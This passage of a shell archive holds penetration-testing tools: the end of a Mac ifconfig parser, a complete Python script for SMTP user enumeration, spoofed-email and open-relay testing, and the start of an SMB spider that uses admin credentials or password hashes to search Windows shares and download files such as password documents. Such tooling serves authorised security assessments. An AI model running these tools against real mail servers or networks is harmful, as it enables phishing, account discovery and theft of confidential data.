mask[2..3].to_i(16) X third_octet = mask[4..5].to_i(16) X fourth_octet = mask[6..7].to_i(16) X mask = "#{first_octet}.#{second_octet}.#{third_octet}.#{fourth_octet}" X return mask Xend X Xdata = [] X X# Begin the table. Xtable = Terminal::Table.new do |t| X # Define the table headers. X t << ['Interface','IPv4 Address','Subnet Mask','Broadcast','MAC Address'] X t.add_separator X X ifconfig.each do |line| X # Regex used to grab for specific information. X int = line.scan(/(.*?): flags=/) X ipaddr = line.scan(/inet \b(?:\d{1,3}\.){3}\d{1,3}\b/) X netmask = line.scan(/0x\h\h\h\h\h\h\h\h/) X broadcast = line.scan(/broadcast \b(?:\d{1,3}\.){3}\d{1,3}\b/) X mac = line.scan(/(?:[A-Fa-f0-9]{2}[:-]){5}(?:[A-Fa-f0-9]{2})/) X X # Fix the variables if the regex matches aren't empty. X int = int unless int.nil? X ipaddr = ipaddr[0][5..-1] unless ipaddr.empty? X netmask = convert_netmask(netmask[0][2..-1]) unless netmask.empty? X broadcast = broadcast[0][10..-1] unless broadcast.empty? X omac = mac[0] unless mac.empty? X X # Clean up some stuff. X int = int[0][0] unless int.empty? X oint = int unless int.empty? X broadcast = '' if broadcast.empty? X ipaddr = '' if ipaddr.empty? X netmask = '' if netmask.empty? X X # Add the data to a table. X unless oint.empty? and ipaddr.empty? and netmask.empty? and broadcast.empty? and omac.empty? X unless ipaddr.empty? and omac.empty? X cidr = "(/" +IPAddr.new(netmask).to_i.to_s(2).count("1").to_s + ")" unless ipaddr.empty? X data << [oint, ipaddr, "#{netmask} #{cidr}", broadcast, omac] X omac = '' X end X end X end X X # Remove weird entries and then add them to our terminal table. X data.each do |d| X lastline = data[data.index(d)-1] X if lastline[0] == d[0] and d[-1].empty? X d[-1] = lastline[-1] X data.delete_at(data.index(lastline)) X end X end X X # Add data array to the terminal table. X data.each do |entry| X t << entry X end Xend Xtable.title = "1337 H4x0Rz Mac OS Ifconfig Parser - Alton Johnson (alton.jx@gmail.com)" Xputs table 74aa1c78498139b61f82d032a3c1f752 echo x - ismtp/work/ipwn-32bbc05/iSMTP.py sed 's/^X//' >ismtp/work/ipwn-32bbc05/iSMTP.py << '4dd7e0e6bec76b2d0c6db9abb63c42fd' X#!/usr/local/bin/python2.7 X# X################################################################################################################# X# # X# This script was designed to be seemingly easy if you're used to ispoof by Stone. # X# This script supports a variety of things that we typically test for during an external pentest. # X# Overall, you can automate the process of SMTP User Enumeration, SMTP Spoofing, and/or SMTP relay. # X# Any combination of the techniques can be used -- in other words, it's as flexible as you need it to be. # X# # X# Author: Alton Johnson # X# Contact: alton.jx@gmail.com # X# Updated: 05-24-2013 # X# Version: 1.6 # X# # X# While this tool supports a variety of options, there is still a lot of room for improvement. # X# Please report any bugs and/or suggestions to me. # X# # X################################################################################################################# X Xfrom sys import argv Ximport time, smtplib, getopt, socket, os X Xclass colors: X lightblue = "\033[1;36m" X blue = "\033[1;34m" X normal = "\033[0;00m" X red = "\033[1;31m" X white = "\033[1;37m" X green = "\033[1;32m" X Xstart_time = time.time() Xbanner = "\n " + "-" * 69 + "\n " + colors.white + " iSMTP v1.6 - SMTP Server Tester, Alton Johnson (alton.jx@gmail.com)\n " + colors.normal + "-" * 69 + "\n " Xsplit_service = "\n " + colors.white + "-" * 10 + " starting next test " + "-" * 10 + colors.normal + "\n" Xsplit_target = "\n " + colors.white + "=" * 23 + " starting next target " + "=" * 23 + colors.normal + "\n" X Xdef help(): X print banner X print " Usage: ./iSMTP.py \n" X print colors.red + " Required:\n" + colors.normal X print "\t-f \tImports a list of SMTP servers for testing.\n\t\t\t\t(Cannot use with '-h'.)" X print "\t-h \t\tThe target IP and port (IP:port).\n\t\t\t\t(Cannot use with '-f'.)" X print colors.green + "\n Spoofing:\n" + colors.normal X print "\t-i \tThe consultant's email address." X print "\t-s \t\tThe sender's email address." X print "\t-r \t\tThe recipient's email address." X print "\t --sr \t\tSpecifies both the sender's and recipient's email address." X print "\t-S \t\tThe sender's first and last name." X print "\t-R \t\tThe recipient's first and last name." X print "\t --SR \t\tSpecifies both the sender's and recipient's first and last name." X print "\t-m\t\t\tEnables SMTP spoof testing." X print "\t-a\t\t\tIncludes .txt attachment with spoofed email." X print colors.green + "\n SMTP enumeration:\n" + colors.normal X print "\t-e \tEnable SMTP user enumeration testing and imports email list." X print "\t-l <1|2|3>\tSpecifies enumeration type (1 = VRFY, 2 = RCPT TO, 3 = all).\n\t\t\t(Default is 3.)" X print colors.green + "\n SMTP relay:\n" + colors.normal X print "\t-i \tThe consultant's email address." X print "\t-x\t\t\tEnables SMTP external relay testing." X print colors.green + "\n Misc:\n" + colors.normal X print "\t-t \tThe timeout value. (Default is 10.)" X print "\t-o\t\tCreates \"ismtp-results\" directory and writes output to\n\t\t\tismtp-results/smtp__(port).txt\n" X print " Note: Any combination of options is supported (e.g., enumeration, relay, both, all, etc.).\n" X Xdef output_write(smtp_host,smtp_port,data,output,smtp_test): X if output: X if not os.path.exists('ismtp-results'): X os.makedirs('ismtp-results') X output_file = open('ismtp-results/%s_%s(%s).txt' % (smtp_test,smtp_host,smtp_port), 'w') X output_file.write(data) X output_file.write("%s" % ("-" * 5)) X output_file.write("\nCompleted in: %.1fs\n" % (time.time() - start_time)) X output_file.close() X print " Output file created." X Xdef smtp_relay(smtp_host,smtp_port,consultant_email): X print " Testing SMTP server [external relay]: %s:%s\n" % (smtp_host, smtp_port) X smtp_rlog = "\n Testing SMTP server [external relay]: %s:%s\n" % (smtp_host, smtp_port) X X #grabs the domain name from consultant email X consultant_domain = consultant_email[consultant_email.rfind("@")+1:] X X try: X server = smtplib.SMTP(smtp_host, smtp_port) X # server.docmd returns ['status code','message'] X response = server.docmd("helo",consultant_domain) X print " - Submitted 'helo %s' : %s" % (consultant_domain,str(response[0])) X smtp_rlog += "\n - Submitted 'helo example.com' : %s" % str(response[0]) X response = server.docmd("mail from:","<%s>" % consultant_email) X print " - Submitted 'mail from: <%s>' : %s" % (consultant_email, str(response[0])) X smtp_rlog += "\n - Submitted 'mail from: <%s>' : %s" % (consultant_email, str(response[0])) X response = server.docmd("rcpt to:","<%s>" % consultant_email) X print " - Submitted 'rcpt to: <%s>' : %s" % (consultant_email, response[0]) X smtp_rlog += "\n - Submitted 'rcpt to: <%s>' : %s" % (consultant_email, response[0]) X if response[0] != 250: X print colors.red + "\n External SMTP relay access denied." + colors.normal X smtp_rlog += colors.red + "\n\n External SMTP relay access denied." + colors.normal X else: X print colors.blue + "\n External SMTP relay enabled." + colors.normal X smtp_rlog += colors.blue + "\n\n External SMTP relay enabled." + colors.normal X server.quit() X except smtplib.SMTPException, err: X if "421" in str(err): X print colors.red + " Error: Service rejected connection attempt." + colors.normal X smtp_rlog = colors.red + "\n Error: Service rejected connection attempt." + colors.normal X else: X print colors.red + str(err) + colors.normal X smtp_rlog += "\n" + colors.red + str(err) + colors.normal X except socket.timeout: X print colors.red + " Error: The system timed out while trying to connect to the SMTP server." + colors.normal X smtp_rlog += colors.red + "\n Error: The system while timed out trying to connect to the SMTP server." + colors.normal X except Exception, err: X print colors.red + str(err) + colors.normal X smtp_rlog += "\n" + colors.red + str(err) + colors.normal X X print "\n Completed external SMTP relay test." X smtp_rlog += "\n\n Completed external SMTP relay test.\n\n" X X #return log in case output is enabled X return smtp_rlog X Xdef smtp_spoof(smtp_host,smtp_port,consultant_email,sndr_email,rcpt_email,sndr_name,rcpt_name,spoof_attach): X print " Testing SMTP server [internal spoof]: %s:%s\n" % (smtp_host, smtp_port) X smtp_slog = "\n Testing SMTP server [internal spoof]: %s:%s\n" % (smtp_host, smtp_port) X X # grab domain from target mail server's banner X try: X s = socket.socket() X s.connect((smtp_host,smtp_port)) X response = s.recv(1024) X domain = response.split(' ')[1].split('.')[-2] + "." + response.split(' ')[1].split('.')[-1] X s.close() X except socket.timeout: X print colors.red + " Error: The system timed out while trying to connect to the SMTP server." + colors.normal X smtp_slog += "\n" + colors.red + " Error: The system timed out while trying to connect to the SMTP server." + colors.normal X print "\n Completed SMTP internal spoof test." X smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n" X return smtp_slog X except Exception, err: X if "range" in str(err): X domain = 'example.com' X else: X print colors.red + " Please check the SMTP server for typos: %s" % smtp_host + colors.normal X smtp_slog += colors.red + "\n Error: Please check the SMTP server for typos: %s" % smtp_host + colors.normal X print colors.red + " If your SMTP servers do not contain a typo, please report this error to Alton." + colors.normal X print "\n Completed SMTP internal spoof test." X smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n" X return smtp_slog X X try: X smtp_subj = "SMTP Server Test" X smtp_msg = "\r\n%s:\r\n\r\nThis message is part of a security assessment. If this message is received, \nplease take a screenshot and forward it \nto %s.\r\n\r\nThis message was delivered through %s:%s." % (rcpt_name, consultant_email, smtp_host, str(smtp_port)) X if spoof_attach: X smtp_data = "From: %s <%s>\r\nTo: %s <%s>\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"000Message000\"\r\n\r\n--000Message000\r\n%s\r\n\r\n--000Message000\r\nContent-Type: application/octet-stream; name=\"Attachment.txt\"\r\n\r\nSecurity Assessment (with attachment).\r\n\r\n--000Message000--\r\n." % (sndr_name, sndr_email, rcpt_name, rcpt_email, smtp_subj,smtp_msg) X else: X smtp_data = "From: %s <%s>\r\nTo: %s <%s>\r\nSubject: %s\r\n%s\r\n." % (sndr_name, sndr_email, rcpt_name, rcpt_email, smtp_subj,smtp_msg) X server = smtplib.SMTP(smtp_host, smtp_port) X # server.docmd returns ['status code','message'] X response = server.docmd("helo",domain) X print " - Submitted 'helo %s' : %s" % (domain,str(response[0])) X smtp_slog += "\n - Submitted 'helo %s' : %s" % (domain, str(response[0])) X response = server.docmd("mail from:", "<%s>" % sndr_email) X print " - Submitted 'mail from' : %s" % str(response[0]) X smtp_slog += "\n - Submitted 'mail from' : %s" % str(response[0]) X response = server.docmd("rcpt to:", "<%s>" % rcpt_email) X print " - Submitted 'rcpt to' : %s" % str(response[0]) X smtp_slog += "\n - Submitted 'rcpt to' : %s" % str(response[0]) X if str(response[0])[0] == '5': X print colors.red + "\n Error providing recipient email address: %s" % response[1] + colors.normal X smtp_slog += colors.red + "\n\n Error providing recipient email address: %s" % response[1] + colors.normal X server.quit() X print "\n Completed SMTP internal spoof test." X smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n" X return smtp_slog X response = server.docmd("data") X print " - Submitted 'data' : %s" % str(response[0]) X smtp_slog += "\n - Submitted 'data' : %s" % str(response[0]) X if spoof_attach: X print " - Adding attachment..." X smtp_slog += "\n - Adding attachment..." X print " - Submitting message...\n" X smtp_slog += "\n - Submitting message...\n" X response = server.docmd("%s" % smtp_data) X if str(response[0]) != '250': X print colors.red + "\n Error submitting message: %s" % response[1] + colors.normal X smtp_slog += colors.red + "\n\n Error submitting message: %s" % response[1] + colors.normal X server.quit() X print "\n Completed SMTP internal spoof test." X smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n" X return smtp_slog X if spoof_attach: X modded_data = smtp_data.split('\n') X del modded_data[3:7] X del modded_data[12:] X modded_data.insert(3, "Attachment: Attachment.txt") X for i in modded_data: X print colors.blue + " | " + i + colors.normal X smtp_slog += colors.blue + "\n | " + i + colors.normal X smtp_slog += "\n" X print X else: X print colors.blue + " | " + smtp_data.replace("\n", "\n | ")[:-3] + colors.normal X smtp_slog += colors.blue + "\n | " + smtp_data.replace("\n", "\n | ")[:-3] + colors.normal X print " - Message complete" X smtp_slog += "\n - Message complete" X print " - Successfully submitted message: %s" % str(response[0]) X smtp_slog += "\n - Successfully submitted message: %s" % str(response[0]) X server.quit() X except socket.timeout: X pass X except Exception, err: X if "421" in str(err): X print colors.red + " Error: Service rejected connection attempt." + colors.normal X smtp_slog = colors.red + "\n Error: Service rejected connection attempt." + colors.normal X else: X print colors.red + " Error: " + str(err) + colors.normal X smtp_slog += colors.red + "\n Error: " + str(err) + colors.normal X X print "\n Completed SMTP internal spoof test." X smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n" X X #return log in case output is enabled X return smtp_slog X Xdef smtp_enumeration(smtp_host,smtp_port,email_list,enum_level): X print " Testing SMTP server [user enumeration]: %s:%s" % (smtp_host,smtp_port) X print " Emails provided for testing: %s\n" % str(len(email_list)) X smtp_elog = "\n Testing SMTP server [user enumeration]: %s:%s" % (smtp_host,smtp_port) X smtp_elog += "\n Emails provided for testing: %s\n" % str(len(email_list)) X validc = 0 X X #grab domain from target mail server's banner X try: X s = socket.socket() X s.connect((smtp_host,smtp_port)) X response = s.recv(1024) X domain = response.split(' ')[1].split('.')[-2] + "." + response.split(' ')[1].split('.')[-1] X s.close() X except socket.timeout: X print colors.red + " Error: The system timed out while trying to connect to the SMTP server." + colors.normal X smtp_elog += "\n" + colors.red + " Error: The system timed out while trying to connect to the SMTP server." + colors.normal X print "\n Completed SMTP user enumeration test." X smtp_elog += "\n\n Completed SMTP user enumeration test.\n\n" X return smtp_elog X except Exception, err: X if "list index" in str(err): X domain = 'example.com' X else: X print colors.red + " Please check the SMTP server for typos: %s" % smtp_host + colors.normal X smtp_elog += colors.red + "\n Error: Please check the SMTP server for typos: %s" % smtp_host + colors.normal X print colors.red + " If your SMTP servers do not contain a typo, please report this error to Alton." + colors.normal X print "\n Completed SMTP user enumeration test." X smtp_elog += "\n\n Completed SMTP user enumeration test.\n\n" X return smtp_elog X try: X server = smtplib.SMTP(smtp_host,smtp_port) X response = server.docmd('helo',domain) X except Exception, err: X if "421" in str(err): X print colors.red + " Error: Service rejected connection attempt." + colors.normal X smtp_elog = colors.red + "\n Error: Service rejected connection attempt." + colors.normal X else: X print colors.red + " Error: " + str(err) + colors.normal X smtp_elog += colors.red + "\n Error: " + str(err) + colors.normal X return smtp_elog X X # set spaces to format output X offset = 0 X for line in email_list: X if len(line) > offset: X offset = len(line) + 3 X X # begin testing via SMTP VRFY X # server.docmd returns ['status code','message'] X if enum_level == 1 or enum_level == 3: X print " Performing SMTP VRFY test...\n" X smtp_elog += "\n Performing SMTP VRFY test...\n" X fail = 0 X for i in email_list: X try: X if "@" in i: X response = server.docmd('VRFY', '%s' % i[:i.find("@")]) X else: X response = server.docmd('VRFY', i) X if response[0] == 502 or response[0] == 252 or (response[0] == 550 and "user unknown" not in response[1].lower()): X if "disabled" in str(response[1]) or "Cannot VRFY user" in str(response[1]): X print colors.red + " Server is not vulnerable to SMTP VRFY user enumeration." + colors.normal X smtp_elog += colors.red + "\n Server is not vulnerable to SMTP VRFY user enumeration." + colors.normal X else: X print colors.red + " Error: %s." % response[1] + colors.normal X smtp_elog += colors.red + "\n Error: %s." % response[1] + "\n" + colors.normal X break X elif response[0] == 250: X print colors.blue + " [+] %s " % i + "-" * (offset-len(i)) + " [ success ]" + colors.normal X smtp_elog += colors.blue + "\n [+] %s " % i + "-" * (offset-len(i)) + " [ success ]" + colors.normal X fail = 0 X else: X if fail == 15: X print colors.red + "\n Error: Too many consistent failures. Probably not vulnerable to SMTP VRFY. Skipping... " + colors.normal X smtp_elog += colors.red + "\n\n Error: Too many consistent failures. Probably not vulnerable to SMTP VRFY. Skipping... \n" + colors.normal X break X print colors.red + " [-] %s " % i + "-" * (offset-len(i)) + " [ invalid ]" + colors.normal X smtp_elog += colors.red + "\n [-] %s " % i + "-" * (offset-len(i)) + " [ invalid ]" + colors.normal X fail+= 1 X# print colors.red + " Error: %s:%s" % (response[0],response[1]) + colors.normal X# smtp_elog += colors.red + "\n Error: %s:%s" % (response[0],response[1]) + colors.normal X except Exception, err: X if "unexpectedly closed" in str(err): X print colors.red + " Error: Attempting to reconnect..." + colors.normal X smtp_elog += colors.red + "\n Error: Attempting to reconnect..." + colors.normal X try: X server = smtplib.SMTP(smtp_host,smtp_port) X response = server.docmd('helo',domain) X continue X except Exception: X print colors.red + " Error: Cannot reconnect. Quitting..." + colors.normal X smtp_elog += colors.red + "\n Error: Cannot reconnect. Quitting...\n" + colors.normal X break X else: X print colors.red + " Error: " + colors.red + str(err) + "\n" + colors.normal X smtp_elog += colors.red + "\n Error: " + colors.red + str(err) + "\n\n" + colors.normal X print X # begin testing via SMTP RCPT TO X # server.docmd returns ['status code','message'] X if enum_level == 2 or enum_level == 3: X print " Performing SMTP RCPT TO test...\n" X smtp_elog += "\n Performing SMTP RCPT TO test...\n" X X try: X response = server.docmd('mail from:', '') X if str(response[0])[0] == '5': X print colors.red + " Error: %s" % response[1] + colors.normal X smtp_elog += colors.red +"\n\n Error: %s" % response[1] + colors.normal X server.quit() X print "\n Completed SMTP user enumeration test." X smtp_elog += "\n\n Completed SMTP user enumeration test.\n\n" X return smtp_elog X email_domain = email_list[1][email_list[1].find("@"):] X response = server.docmd("rcpt to:", "" % email_domain) X if str(response[0])[0] == '2' or response[0] == 554: X print colors.red + " Server is not vulnerable to SMTP RCPT TO user enumeration." + colors.normal X smtp_elog += colors.red + "\n Sever is not vulnerable to SMTP RCPT TO user enumeration." + colors.normal X server.quit() X print "\n Completed SMTP user enumeration test." X smtp_elog += "\n\n Completed SMTP user enumeration test.\n\n" X return smtp_elog X for n in email_list: X if "@" not in n: X print colors.red + " [-] %s " % n + "-" * (offset-len(n)) + " skipped (invalid email format)" + colors.normal X smtp_elog += colors.red + "\n [-] %s " % n + "-" * (offset-len(n)) + " skipped (invalid email format)" + colors.normal X continue X try: X response = server.docmd('rcpt to:', '<%s>' % n) X except socket.timeout: X print colors.red + " [-] %s " % n + "-" * (offset-len(n)) + " timeout" + colors.normal X smtp_elog += colors.red + " [-] %s " % n + "-" * (offset-len(n)) + " timeout" + colors.normal X continue X except Exception: X print colors.red + " Error: Attempting to reconnect..." + colors.normal X smtp_elog += colors.red + "\n Error: Attempting to reconnect..." + colors.normal X try: X server = smtplib.SMTP(smtp_host,smtp_port) X response = server.docmd('helo',domain) X response = server.docmd('mail from:', '') X continue X except Exception: X print colors.red + " Error: Cannot reconnect. Quitting..." + colors.normal X smtp_elog += colors.red + "\n Error: Cannot reconnect. Quitting..." + colors.normal X break X if response[0] == 250: X print colors.blue + " [+] %s " % n + "-" * (offset-len(n)) + " [ valid ]" + colors.normal X smtp_elog += colors.blue + "\n [+] %s " % n + "-" * (offset-len(n)) + " [ valid ]" + colors.normal X else: X print colors.red + " [-] %s " % n + "-" * (offset-len(n)) + " [ invalid ]" + colors.normal X smtp_elog += colors.red + "\n [-] %s " % n + "-" * (offset-len(n)) + " [ invalid ]" + colors.normal X validc = 0 X print X except Exception, err: X if "timed out" in str(err): X print colors.red + " Error: Timed out. Try increasing the default timeout value to 10+ secs.\n" + colors.normal X smtp_elog += colors.red + "\n Error: Timed out. Try increasing the default timeout value to 10+ secs.\n\n" + colors.normal X else: X print colors.red + " Error: \n" + str(err) + colors.normal X smtp_elog += colors.red + "\n Error: \n\n" + str(err) + colors.normal X print " Completed SMTP user enumeration test." X smtp_elog += "\n Completed SMTP user enumeration test.\n\n" X X try: X server.quit() X except Exception, err: X pass X return smtp_elog X Xdef start(argv): X if len(argv) < 1: X help() X exit() X try: X opts, args = getopt.getopt(argv, "h:i:s:r:S:R:moxe:l:f:t:a", ['sr=','SR=']) X except getopt.GetoptError, err: X print colors.red + "\n Error: %s" % err + colors.normal X help() X exit() X X # set default variables (needed in case if statement isn't met) X smtp_host = '' X smtp_port = 25 X consultant_email = '' X sndr_email = '' X rcpt_email = '' X sndr_name = '' X rcpt_name = '' X smtp_enum = False X smtp_list = False X email_list = '' X socket.setdefaulttimeout(10) X relay_test = False X output = False X enum_level = 3 X spoof_test = False X spoof_attach = False X X # for loop stdin to determine what arguments are provided X for opt, arg in opts: X if opt == "-i": X consultant_email = arg X elif opt == "-s": X sndr_email = arg X elif opt == "-r": X rcpt_email = arg X elif opt == "-S": X sndr_name = arg X elif opt == "-R": X rcpt_name = arg X elif opt == "-f": X if smtp_host != "": X print colors.blue + "\n Error: You cannot use '-f' with '-h'!" + colors.normal X help() X exit() X try: X smtpfile = open(arg) X smtp_file = smtpfile.read().split() X except Exception, err: X print colors.red + "\n Error: %s\n" % err + colors.normal X exit() X smtp_list = True X elif opt == "-h": X if ":" in arg: X smtp_host = arg.split(":")[0] X smtp_port = int(arg.split(":")[1]) X else: X smtp_host = arg X if smtp_list: X smtpfile.close() X print colors.red + "\n Error: You cannot use '-h' with '-f'!" + colors.normal X help() X exit() X elif opt == "-t": X socket.setdefaulttimeout(float(arg)) X elif opt == "-e": X smtp_enum = True X try: X email_file = open(arg) X email_list = email_file.read().split() X except Exception, err: X print colors.red + "\n Error: %s\n" % err + colors.normal X exit() X elif opt == "-x": X relay_test = True X elif opt == "-o": X output = True X elif opt == "-l": X enum_level = int(arg) X elif opt == "--SR": X sndr_name = arg X rcpt_name = arg X elif opt == "--sr": X sndr_email = arg X rcpt_email = arg X elif opt == "-m": X spoof_test = True X elif opt == "-a": X spoof_attach = True X X #assign required parameters depending on the test being conducted (for error checking as well) X spoof_options = {'SMTP Port':smtp_port,'consultant email address':consultant_email,'sender email address':sndr_email,'recipient email address':rcpt_email,'sender name':sndr_name,'recipient name':rcpt_name} X enum_options = {'email list':email_list,'SMTP port':smtp_port} X relay_options = {'consultant email address':consultant_email,'SMTP port':smtp_port} X X # checks for errors before processing arguments X if smtp_host == "" and smtp_list == False: X print colors.red + "\n Error: You must provide either an SMTP server or an imported list of SMTP servers." + colors.normal X help() X exit() X if smtp_enum == False and spoof_test == False and relay_test == False: X print colors.red + "\n Error: You didn't enable any options such as spoof (-m), relay (-x), and/or enumeration (-e )." + colors.normal X help() X exit() X if smtp_enum == True: X for b in enum_options: X if enum_options[b] == "": X print colors.red + "\n Error: While providing SMTP enumeration arguments, you forgot to provide the %s." % b + colors.normal X help() X exit() X if relay_test == True: X for y in relay_options: X if relay_options[y] == "": X print colors.red + "\n Error: While providing SMTP relay arguments, you forgot to provide the %s." % y + colors.normal X help() X exit() X if spoof_test == True: X for x in spoof_options: X if spoof_options[x] == "": X print colors.red + "\n Error: While providing SMTP spoofing arguments, you forgot to provide the %s." % x + colors.normal X help() X exit() X X #banner will print (only one time throughout entire execution) if all looks well X print banner X X # performs either SMTP enumeration, SMTP spoofing, SMTP relay, or whatever combination requested X if smtp_list: X for i in smtp_file: X if smtp_file.index(i) > 0: X print split_target X if spoof_test: X output_write(i,smtp_port,smtp_spoof(i,smtp_port,consultant_email,sndr_email,rcpt_email,sndr_name,rcpt_name,spoof_attach),output,'smtp_spoof') X if relay_test: X if spoof_test: X print split_service X output_write(i,smtp_port,smtp_relay(i,smtp_port,consultant_email),output,'smtp_relay') X if smtp_enum: X if spoof_test or relay_test: X print split_service X output_write(i,smtp_port,smtp_enumeration(i,smtp_port,email_list,enum_level),output,'smtp_enum') X smtpfile.close() X if smtp_enum: X email_file.close() X else: X if spoof_test: X output_write(smtp_host,smtp_port,smtp_spoof(smtp_host,smtp_port,consultant_email,sndr_email,rcpt_email,sndr_name,rcpt_name,spoof_attach),output,'smtp_spoof') X if relay_test: X if spoof_test: X print split_service X output_write(smtp_host,smtp_port,smtp_relay(smtp_host,smtp_port,consultant_email),output,'smtp_relay') X if smtp_enum: X if spoof_test or relay_test: X print split_service X output_write(smtp_host,smtp_port,smtp_enumeration(smtp_host,smtp_port,email_list,enum_level),output,'smtp_enum') X email_file.close() X Xif __name__ == "__main__": X try: X start(argv[1:]) X except KeyboardInterrupt: X print "\nExiting. Closed by user (ctrl-c)" X exit() X Xprint "\n" + "-" * 5 Xprint "Completed in: %.1fs\n" % (time.time() - start_time) 4dd7e0e6bec76b2d0c6db9abb63c42fd echo x - ismtp/work/ipwn-32bbc05/smbspider.py sed 's/^X//' >ismtp/work/ipwn-32bbc05/smbspider.py << 'c3882b554c495d03c995e40c511f8521' X#!/usr/bin/python X X# X# This post-exploitation script can be used to spider numerous systems X# to identify sensitive and/or confidential data. A good scenario to X# use this script is when you have admin credentials to tons of X# Windows systems, and you want to look for files containing data such X# as PII, network password documents, etc. For the most part, X# this script uses smbclient, parses the results, and prints X# out the results in a nice format for you. X# X# Author: Alton Johnson X# Contact: alton.jx@gmail.com X# Version: 2.4 X# Updated: 01/23/2014 X# X Ximport commands, time, getopt, re, os Xfrom sys import argv X Xstart_time = time.time() X Xclass colors: X red = "\033[1;31m" X blue = "\033[1;34m" X norm = "\033[0;00m" X green = "\033[1;32m" X Xbanner = "\n " + "*" * 56 Xbanner += "\n * _ *" Xbanner += "\n * | | // \\\\ * " Xbanner += "\n * ___ _ __ ___ | |__ _\\\\()//_ *" Xbanner += "\n * / __| '_ ` _ \| '_ \ / // \\\\ \ *" Xbanner += "\n * \__ \ | | | | | |_) | |\__/| *" Xbanner += "\n * |___/_| |_| |_|_.__/ *" Xbanner += "\n * *" Xbanner += "\n * SMB Spider v2.4, Alton Johnson (alton.jx@gmail.com) *" Xbanner += "\n " + "*" * 56 + "\n" X Xdef help(): X print banner X print " Usage: %s " % argv[0] X print colors.red + "\n Target(s) (required): \n" + colors.norm X print "\t -h \t Provide IP address or a text file containing IPs." X print "\t\t\t Supported formats: IP, smb://ip/share, \\\\ip\\share\\" X print colors.red + "\n Credentials (required): \n" + colors.norm X print "\t -u \t Specify a valid username to authenticate to the system(s)." X print "\t -p \t Specify the password which goes with the username." X print "\t -P \t Use -P to provide password hash if cleartext password isn't known." X print "\t -d \t If using a domain account, provide domain name." X print colors.green + "\n Shares (optional):\n" + colors.norm X print "\t -s \t Specify shares (separate by comma) or specify \"profile\" to spider user profiles." X print "\t -f \t Specify a list of shares from a file." X print colors.green + "\n Other (optional):\n" + colors.norm X print "\t -w \t\t Avoid verbose output. Output successful spider results to smbspider_host_share_user.txt." X print "\t\t\t This option is HIGHLY recommended if numerous systems are being scanned." X print "\t -n \t\t ** Ignore authentication check prior to spidering." X print "\t -g \t Grab (download) files that match strings provided in text file. (Case sensitive.)" X print "\t\t\t ** Examples: *assword.doc, *assw*.doc, pass*.xls, etc." X print colors.norm X exit() X Xdef start(argv): X if len(argv) < 1: X help() X try: X opts, args = getopt.getopt(argv, "u:p:d:h:s:f:P:wng:") X except getopt.GetoptError, err: X print colors.red + "\n [-] Error: " + str(err) + colors.norm X X # set default variables to prevent errors later in script X sensitive_strings = [] X smb_user = "" X smb_pass = "" X smb_domain = "" X smb_host = [] X smb_share = ["profile"] X pth = False X output = False X unique_systems = [] X ignorecheck = False X inputfile = False X X #parse through arguments X for opt, arg in opts: X if opt == "-u": X smb_user = arg X elif opt == "-p": X smb_pass = arg X elif opt == "-d": X smb_domain = arg X elif opt == "-h": X try: X smb_host = open(arg).read().split('\n') X inputfile = True X except: X if "\\\\" in arg and "\\" not in arg[-1:]: X test = arg[2:].replace("\\","\\") X smb_host.append("\\\\%s\\" % test) X else: X smb_host.append(arg) X elif opt == "-f": X smb_share = open(arg).read().split() X elif opt == "-s": X smb_share = arg.split(',') X elif opt == "-P": X if arg[-3:] == ":::": X arg = arg[:-3] X smb_pass = arg X pth = True X elif opt == "-w": X output = True X elif opt == "-n": X ignorecheck = True X elif opt == "-g": X sensitive_strings = open(arg).read().split("\n")[:-1] X X #check options before proceeding X if (not smb_user or not smb_pass or not smb_host): X print colors.red + "\n [-] " + colors.norm + "Error: Please check to ensure that all required options are provided." X help() X if pth: X result = commands.getoutput("pth-smbclient") X if "not found" in result.lower(): X print colors.red + "\n [-] " + colors.norm + "Error: The passing-the-hash package was not found. Therefore, you cannot pass hashes." X print "Please run \"apt-get install passing-the-hash\" to fix this error and try running the script again.\n" X exit() X X #make smb_domain, smb_user, and smb_pass one variable X if smb_domain: X credentials = smb_domain + "\\\\" + smb_user + " " + smb_pass X else: X credentials = smb_user + " " + smb_pass X for system in smb_host: X if "\\" in system or "//" in system: X if "\\" in system: X sys = system[system.find("\\")+2:] X sys = sys[:sys.find("\\")] X else: X sys = system[system.find("/")+2:] X sys = sys[:sys.find("/")] X if sys not in unique_systems: X unique_systems.append(sys) X else: X unique_systems.append(system) X #start spidering X print banner X unique_systems = [i for i in unique_systems if i != ''] #remove blank elements from list X print " [*] Spidering %s system(s)..." % len(unique_systems) X begin = spider(credentials, smb_host, smb_share, pth, output, ignorecheck, inputfile, sensitive_strings) X begin.start_spidering() X Xclass spider: X def __init__(self, credentials, hosts, shares, pth, output, ignorecheck, inputfile, sensitive_strings): X self.list_of_hosts = hosts X self.list_of_shares = shares X self.credentials = credentials X self.smb_host = "" X self.smb_share = "" X self.skip_host = "" X self.pth = pth X self.outputfile = output X self.blacklisted = [] X self.ignorecheck = ignorecheck X self.inputfile = inputfile X self.smb_download = True X self.file_locations = [] X self.sensitive_strings = sensitive_strings X self.profile = False X X def start_spidering(self): X share = "" X self.total_hosts = 0 X empty_share_error = colors.red + " [-] " + colors.norm + "Error: Empty share detected for host %s. Skipping share." X for test_host in self.list_of_hosts: X temp = test_host X if ("//" in temp or "\\\\" in temp) and self.list_of_shares[0] != "profile": X print colors.red + " [-] " + colors.norm + "Error: You cannot specify a share if your target(s) contains \\\\\\ or ///\n" X exit() X for host in self.list_of_hosts: X self.total_hosts += 1 X tmp_share = host.replace("/","") X tmp_share = host.replace("\\","") X orig_host = host # ensures that we can check the original host value later on if we need to X if "\\\\" in host: # this checks to see if host is in the format of something like \\192.168.0.1\C$ X host = host[2:] X host = host[:host.find("\\")] X elif "smb://" in host: # this checks to see if the host contains a format such as smb://192.168.0.1/C$ X host = host[6:] X host = host[:host.find("/")] X if self.skip_host == host: X self.blacklisted.append(host) X continue X if len(self.list_of_shares) == 1 and ("//" in orig_host or "\\\\" in orig_host): X if "//" in orig_host: X share = orig_host[orig_host.rfind("/")+1:] X elif "\\\\" in orig_host: X if orig_host[-1] == "\\": X temp = orig_host[:-1] X share = temp[temp.rfind("\\")+1:] X self.smb_host = host X self.smb_share = share X else: X for share in self.list_of_shares: X if 